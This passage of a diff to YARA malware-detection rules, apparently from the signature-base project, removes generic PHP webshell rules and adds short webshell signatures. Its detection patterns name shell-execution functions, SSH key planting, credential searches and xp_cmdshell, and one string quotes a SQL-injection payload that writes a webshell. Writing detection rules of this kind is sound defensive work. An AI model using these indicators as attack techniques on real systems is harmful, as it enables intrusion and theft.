-		$inp20 = "TSOP_" wide ascii
-		$cpayload1 = /\beval[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload2 = /\bexec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload3 = /\bshell_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
-		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
-		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
-		$m_cpayload_preg_filter2 = "'|.{0,500}|e'" nocase wide ascii
-		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
-		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
-		$gen_bit_sus6 = "self.delete"
-		$gen_bit_sus9 = "\"cmd /c" nocase
-		$gen_bit_sus10 = "\"cmd\"" nocase
-		$gen_bit_sus11 = "\"cmd.exe" nocase
-		$gen_bit_sus12 = "%comspec%" wide ascii
-		$gen_bit_sus13 = "%COMSPEC%" wide ascii
-		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
-		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
-		$gen_bit_sus21 = "\"upload\"" wide ascii
-		$gen_bit_sus22 = "\"Upload\"" wide ascii
-		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
-		$gen_bit_sus24 = "fileupload" wide ascii
-		$gen_bit_sus25 = "file_upload" wide ascii
-		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
-		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
-		$gen_bit_sus30 = "serv-u" wide ascii
-		$gen_bit_sus31 = "Serv-u" wide ascii
-		$gen_bit_sus32 = "Army" fullword wide ascii
-		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
-		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
-		$gen_bit_sus35 = "crack" fullword wide ascii
-		$gen_bit_sus44 = "<pre>" wide ascii
-		$gen_bit_sus45 = "<PRE>" wide ascii
-		$gen_bit_sus46 = "shell_" wide ascii
-		$gen_bit_sus50 = "bypass" wide ascii
-		$gen_bit_sus52 = " ^ $" wide ascii
-		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
-		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
-		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
-		$gen_bit_sus57 = "dumper" wide ascii
-		$gen_bit_sus59 = "'cmd'" wide ascii
-		$gen_bit_sus60 = "\"execute\"" wide ascii
-		$gen_bit_sus61 = "/bin/sh" wide ascii
-		$gen_bit_sus62 = "Cyber" wide ascii
-		$gen_bit_sus63 = "portscan" fullword wide ascii
-		$gen_bit_sus66 = "whoami" fullword wide ascii
-		$gen_bit_sus67 = "$password='" fullword wide ascii
-		$gen_bit_sus68 = "$password=\"" fullword wide ascii
-		$gen_bit_sus69 = "$cmd" fullword wide ascii
-		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
-		$gen_bit_sus71 = "Hacking" fullword wide ascii
-		$gen_bit_sus72 = "hacking" fullword wide ascii
-		$gen_bit_sus73 = ".htpasswd" wide ascii
-		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
-		$gen_bit_sus75 = "uploaded" fullword wide ascii
-		$gen_much_sus7 = "Web Shell" nocase
-		$gen_much_sus8 = "WebShell" nocase
-		$gen_much_sus3 = "hidded shell"
-		$gen_much_sus4 = "WScript.Shell.1" nocase
-		$gen_much_sus5 = "AspExec"
-		$gen_much_sus14 = "\\pcAnywhere\\" nocase
-		$gen_much_sus15 = "antivirus" nocase
-		$gen_much_sus16 = "McAfee" nocase
-		$gen_much_sus17 = "nishang"
-		$gen_much_sus18 = "\"unsafe" fullword wide ascii
-		$gen_much_sus19 = "'unsafe" fullword wide ascii
-		$gen_much_sus24 = "exploit" fullword wide ascii
-		$gen_much_sus25 = "Exploit" fullword wide ascii
-		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
-		$gen_much_sus30 = "Hacker" wide ascii
-		$gen_much_sus31 = "HACKED" fullword wide ascii
-		$gen_much_sus32 = "hacked" fullword wide ascii
-		$gen_much_sus33 = "hacker" wide ascii
-		$gen_much_sus34 = "grayhat" nocase wide ascii
-		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
-		$gen_much_sus36 = "Rootkit" wide ascii
-		$gen_much_sus37 = "rootkit" wide ascii
-		$gen_much_sus38 = "/*-/*-*/" wide ascii
-		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
-		$gen_much_sus40 = "\"e\"+\"v" wide ascii
-		$gen_much_sus41 = "a\"+\"l\"" wide ascii
-		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
-		$gen_much_sus43 = "q\"+\"u\"" wide ascii
-		$gen_much_sus44 = "\"u\"+\"e" wide ascii
-		$gen_much_sus45 = "/*//*/" wide ascii
-		$gen_much_sus46 = "(\"/*/\"" wide ascii
-		$gen_much_sus47 = "eval(eval(" wide ascii
-		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
-		$gen_much_sus49 = "Shell.Users" wide ascii
-		$gen_much_sus50 = "PasswordType=Regular" wide ascii
-		$gen_much_sus51 = "-Expire=0" wide ascii
-		$gen_much_sus60 = "_=$$_" wide ascii
-		$gen_much_sus61 = "_=$$_" wide ascii
-		$gen_much_sus62 = "++;$" wide ascii
-		$gen_much_sus63 = "++; $" wide ascii
-		$gen_much_sus64 = "_.=$_" wide ascii
-		$gen_much_sus70 = "-perm -04000" wide ascii
-		$gen_much_sus71 = "-perm -02000" wide ascii
-		$gen_much_sus72 = "grep -li password" wide ascii
-		$gen_much_sus73 = "-name config.inc.php" wide ascii
-		$gen_much_sus75 = "password crack" wide ascii
-		$gen_much_sus76 = "mysqlDll.dll" wide ascii
-		$gen_much_sus77 = "net user" wide ascii
-		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
-		$gen_much_sus81 = /strrev\(['"]/ wide ascii
-		$gen_much_sus82 = "PHPShell" fullword wide ascii
-		$gen_much_sus821 = "PHP Shell" fullword wide ascii
-		$gen_much_sus83 = "phpshell" fullword wide ascii
-		$gen_much_sus84 = "PHPshell" fullword wide ascii
-		$gen_much_sus87 = "deface" wide ascii
-		$gen_much_sus88 = "Deface" wide ascii
-		$gen_much_sus89 = "backdoor" wide ascii
-		$gen_much_sus90 = "r00t" fullword wide ascii
-		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
-		$gen_much_sus92 = "str_rot13" fullword wide ascii
-		$gif = { 47 49 46 38 }
-		$cmpayload1 = /\beval[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload2 = /\bexec[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload3 = /\bshell_exec[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload4 = /\bpassthru[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload5 = /\bsystem[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload6 = /\bpopen[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload7 = /\bproc_open[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload8 = /\bpcntl_exec[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload9 = /\bassert[\t ]{0,500}\([^)0]/ nocase wide ascii
-		$cmpayload10 = /\bpreg_replace[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
-		$cmpayload11 = /\bpreg_filter[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
-		$cmpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
-		$cmpayload20 = /\bcreate_function[\t ]{0,500}\([^)]/ nocase wide ascii
-		$cmpayload21 = /\bReflectionFunction[\t ]{0,500}\([^)]/ nocase wide ascii
-		$fp1 = "# Some examples from obfuscated malware:" ascii
-		$fp2 = "{@see TFileUpload} for further details." ascii
+		$s0 = "const adminPassword=\""
+		$s2 = "const userPassword=\""
+		$s3 = "const mVersion="
 
 	condition:
-		not ( any of ($gfp_tiny*) or 1 of ($fp*)) and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and ( any of ($inp*)) and ( any of ($cpayload*) or all of ($m_cpayload_preg_filter*)) and (( filesize <1000 and not any of ($wfp_tiny*)) or (($gif at 0 or ( filesize <4KB and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 3 of ($gen_bit_sus*))) or ( filesize <50KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <100KB and (2 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <150KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*)))) and ( filesize >5KB or not any of ($wfp_tiny*))) or ( filesize <500KB and (4 of ($cmpayload*))))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Callback : FILE
+rule SIGNATURE_BASE_Sendmail
 {
 	meta:
-		description = "php webshell having some kind of input and using a callback to execute the payload. restricted to small files or would give lots of false positives"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e33dba84-bbeb-5955-a81b-2d2c8637fb48"
-		date = "2021-01-14"
-		modified = "2023-09-18"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L412-L717"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e98889690101b59260e871c49263314526f2093f"
-		hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
-		hash = "81388c8cc99353cdb42572bb88df7d3bd70eefc748c2fa4224b6074aa8d7e6a2"
-		hash = "27d3bfabc283d851b0785199da8b1b0384afcb996fa9217687274dd56a7b5f49"
-		hash = "ee256d7cc3ceb2bf3a1934d553cdd36e3fbde62a02b20a1b748a74e85d4dbd33"
-		hash = "4adc6c5373c4db7b8ed1e7e6df10a3b2ce5e128818bb4162d502056677c6f54a"
-		hash = "1fe4c60ea3f32819a98b1725581ac912d0f90d497e63ad81ccf258aeec59fee3"
-		hash = "2967f38c26b131f00276bcc21227e54ee6a71881da1d27ec5157d83c4c9d4f51"
-		hash = "1ba02fb573a06d5274e30b2b05573305294497769414e964a097acb5c352fb92"
-		hash = "f4fe8e3b2c39090ca971a8e61194fdb83d76fadbbace4c5eb15e333df61ce2a4"
-		hash = "badda1053e169fea055f5edceae962e500842ad15a5d31968a0a89cf28d89e91"
-		hash = "0a29cf1716e67a7932e604c5d3df4b7f372561200c007f00131eef36f9a4a6a2"
-		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
-		hash = "de1ef827bcd3100a259f29730cb06f7878220a7c02cee0ebfc9090753d2237a8"
-		hash = "487e8c08e85774dfd1f5e744050c08eb7d01c6877f7d03d7963187748339e8c4"
-		logic_hash = "e12dec5252a816c10443fe0e0b40b0b9b4a187b32facd8e09e1f057801da25f9"
-		score = 60
-		quality = -1953
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
-
-	strings:
-		$gfp1 = "eval(\"return [$serialised_parameter"
-		$gfp2 = "$this->assert(strpos($styles, $"
-		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
-		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
-		$gfp5 = "$_POST[partition_by]($_POST["
-		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
-		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
-		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
-		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
-		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
-		$gfp11 = "(eval (getenv \"EPROLOG\")))"
-		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
-		$gfp_tiny3 = "include \"./common.php\";"
-		$gfp_tiny4 = "assert('FALSE');"
-		$gfp_tiny5 = "assert(false);"
-		$gfp_tiny6 = "assert(FALSE);"
-		$gfp_tiny7 = "assert('array_key_exists("
-		$gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
-		$gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
-		$gfp_tiny10 = "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
-		$inp1 = "php://input" wide ascii
-		$inp2 = /_GET\s?\[/ wide ascii
-		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
-		$inp4 = /_POST\s?\[/ wide ascii
-		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
-		$inp6 = /_REQUEST\s?\[/ wide ascii
-		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
-		$inp15 = "_SERVER['HTTP_" wide ascii
-		$inp16 = "_SERVER[\"HTTP_" wide ascii
-		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
-		$inp18 = "array_values($_SERVER)" wide ascii
-		$inp19 = /file_get_contents\("https?:\/\// wide ascii
-		$callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
-		$m_callback2 = "FILTER_CALLBACK" fullword wide ascii
-		$cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
-		$cfp2 = "IWPML_Backend_Action_Loader" ascii wide
-		$cfp3 = "<?phpclass WPML" ascii
-		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
-		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
-		$gen_bit_sus6 = "self.delete"
-		$gen_bit_sus9 = "\"cmd /c" nocase
-		$gen_bit_sus10 = "\"cmd\"" nocase
-		$gen_bit_sus11 = "\"cmd.exe" nocase
-		$gen_bit_sus12 = "%comspec%" wide ascii
-		$gen_bit_sus13 = "%COMSPEC%" wide ascii
-		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
-		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
-		$gen_bit_sus21 = "\"upload\"" wide ascii
-		$gen_bit_sus22 = "\"Upload\"" wide ascii
-		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
-		$gen_bit_sus24 = "fileupload" wide ascii
-		$gen_bit_sus25 = "file_upload" wide ascii
-		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
-		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
-		$gen_bit_sus30 = "serv-u" wide ascii
-		$gen_bit_sus31 = "Serv-u" wide ascii
-		$gen_bit_sus32 = "Army" fullword wide ascii
-		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
-		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
-		$gen_bit_sus35 = "crack" fullword wide ascii
-		$gen_bit_sus44 = "<pre>" wide ascii
-		$gen_bit_sus45 = "<PRE>" wide ascii
-		$gen_bit_sus46 = "shell_" wide ascii
-		$gen_bit_sus50 = "bypass" wide ascii
-		$gen_bit_sus52 = " ^ $" wide ascii
-		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
-		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
-		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
-		$gen_bit_sus57 = "dumper" wide ascii
-		$gen_bit_sus59 = "'cmd'" wide ascii
-		$gen_bit_sus60 = "\"execute\"" wide ascii
-		$gen_bit_sus61 = "/bin/sh" wide ascii
-		$gen_bit_sus62 = "Cyber" wide ascii
-		$gen_bit_sus63 = "portscan" fullword wide ascii
-		$gen_bit_sus66 = "whoami" fullword wide ascii
-		$gen_bit_sus67 = "$password='" fullword wide ascii
-		$gen_bit_sus68 = "$password=\"" fullword wide ascii
-		$gen_bit_sus69 = "$cmd" fullword wide ascii
-		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
-		$gen_bit_sus71 = "Hacking" fullword wide ascii
-		$gen_bit_sus72 = "hacking" fullword wide ascii
-		$gen_bit_sus73 = ".htpasswd" wide ascii
-		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
-		$gen_much_sus7 = "Web Shell" nocase
-		$gen_much_sus8 = "WebShell" nocase
-		$gen_much_sus3 = "hidded shell"
-		$gen_much_sus4 = "WScript.Shell.1" nocase
-		$gen_much_sus5 = "AspExec"
-		$gen_much_sus14 = "\\pcAnywhere\\" nocase
-		$gen_much_sus15 = "antivirus" nocase
-		$gen_much_sus16 = "McAfee" nocase
-		$gen_much_sus17 = "nishang"
-		$gen_much_sus18 = "\"unsafe" fullword wide ascii
-		$gen_much_sus19 = "'unsafe" fullword wide ascii
-		$gen_much_sus24 = "exploit" fullword wide ascii
-		$gen_much_sus25 = "Exploit" fullword wide ascii
-		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
-		$gen_much_sus30 = "Hacker" wide ascii
-		$gen_much_sus31 = "HACKED" fullword wide ascii
-		$gen_much_sus32 = "hacked" fullword wide ascii
-		$gen_much_sus33 = "hacker" wide ascii
-		$gen_much_sus34 = "grayhat" nocase wide ascii
-		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
-		$gen_much_sus36 = "Rootkit" wide ascii
-		$gen_much_sus37 = "rootkit" wide ascii
-		$gen_much_sus38 = "/*-/*-*/" wide ascii
-		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
-		$gen_much_sus40 = "\"e\"+\"v" wide ascii
-		$gen_much_sus41 = "a\"+\"l\"" wide ascii
-		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
-		$gen_much_sus43 = "q\"+\"u\"" wide ascii
-		$gen_much_sus44 = "\"u\"+\"e" wide ascii
-		$gen_much_sus45 = "/*//*/" wide ascii
-		$gen_much_sus46 = "(\"/*/\"" wide ascii
-		$gen_much_sus47 = "eval(eval(" wide ascii
-		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
-		$gen_much_sus49 = "Shell.Users" wide ascii
-		$gen_much_sus50 = "PasswordType=Regular" wide ascii
-		$gen_much_sus51 = "-Expire=0" wide ascii
-		$gen_much_sus60 = "_=$$_" wide ascii
-		$gen_much_sus61 = "_=$$_" wide ascii
-		$gen_much_sus62 = "++;$" wide ascii
-		$gen_much_sus63 = "++; $" wide ascii
-		$gen_much_sus64 = "_.=$_" wide ascii
-		$gen_much_sus70 = "-perm -04000" wide ascii
-		$gen_much_sus71 = "-perm -02000" wide ascii
-		$gen_much_sus72 = "grep -li password" wide ascii
-		$gen_much_sus73 = "-name config.inc.php" wide ascii
-		$gen_much_sus75 = "password crack" wide ascii
-		$gen_much_sus76 = "mysqlDll.dll" wide ascii
-		$gen_much_sus77 = "net user" wide ascii
-		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
-		$gen_much_sus81 = /strrev\(['"]/ wide ascii
-		$gen_much_sus82 = "PHPShell" fullword wide ascii
-		$gen_much_sus821 = "PHP Shell" fullword wide ascii
-		$gen_much_sus83 = "phpshell" fullword wide ascii
-		$gen_much_sus84 = "PHPshell" fullword wide ascii
-		$gen_much_sus87 = "deface" wide ascii
-		$gen_much_sus88 = "Deface" wide ascii
-		$gen_much_sus89 = "backdoor" wide ascii
-		$gen_much_sus90 = "r00t" fullword wide ascii
-		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
-		$gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
-		$gen_much_sus93 = "eval(\"/*" wide ascii
-		$gen_much_sus94 = "http_response_code(404)" wide ascii
-		$gif = { 47 49 46 38 }
+		description = "Webshells Auto-generated - file sendmail.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dd33c2bb-61bf-57b7-82b9-d864097f7a56"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7289-L7301"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "75b86f4a21d8adefaf34b3a94629bd17"
+		logic_hash = "bcca9a9380d2695bc277afc9fa72c24cb26ac44c6fbcc87113b017cfe190bdab"
+		score = 75
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s3 = "_NextPyC808"
+		$s6 = "Copyright (C) 2000, Diamond Computer Systems Pty. Ltd. (www.diamondcs.com.au)"
 
 	condition:
-		not ( any of ($gfp*)) and not ( any of ($gfp_tiny*)) and ( any of ($inp*)) and ( not any of ($cfp*) and ( any of ($callback*) or all of ($m_callback*))) and ( filesize <1000 or ($gif at 0 or ( filesize <4KB and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 3 of ($gen_bit_sus*))) or ( filesize <50KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <100KB and (2 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <150KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*)))))
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Base64_Encoded_Payloads : FILE
+rule SIGNATURE_BASE_FSO_S_Zehir4
 {
 	meta:
-		description = "php webshell containing base64 encoded payload"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "4e42b47d-725b-5e1f-9408-6c6329f60506"
-		date = "2021-01-07"
-		modified = "2023-04-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L719-L869"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "88d0d4696c9cb2d37d16e330e236cb37cfaec4cd"
-		hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
-		hash = "e726cd071915534761822805724c6c6bfe0fcac604a86f09437f03f301512dc5"
-		hash = "39b8871928d00c7de8d950d25bff4cb19bf9bd35942f7fee6e0f397ff42fbaee"
-		hash = "8cc9802769ede56f1139abeaa0735526f781dff3b6c6334795d1d0f19161d076"
-		hash = "4cda0c798908b61ae7f4146c6218d7b7de14cbcd7c839edbdeb547b5ae404cd4"
-		hash = "afd9c9b0df0b2ca119914ea0008fad94de3bd93c6919f226b793464d4441bdf4"
-		hash = "b2048dc30fc7681094a0306a81f4a4cc34f0b35ccce1258c20f4940300397819"
-		hash = "da6af9a4a60e3a484764010fbf1a547c2c0a2791e03fc11618b8fc2605dceb04"
-		hash = "222cd9b208bd24955bcf4f9976f9c14c1d25e29d361d9dcd603d57f1ea2b0aee"
-		hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
-		hash = "6b6cd1ef7e78e37cbcca94bfb5f49f763ba2f63ed8b33bc4d7f9e5314c87f646"
-		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
-		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
-		hash = "e2b1dfcfaa61e92526a3a444be6c65330a8db4e692543a421e19711760f6ffe2"
-		logic_hash = "8f606dc3e1e688cca144fe769af50980b4c25fa69b08c67aca8c676a6a060010"
+		description = "Webshells Auto-generated - file zehir4.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9f1adcd6-b721-54ef-a20f-c3a353629a40"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7302-L7313"
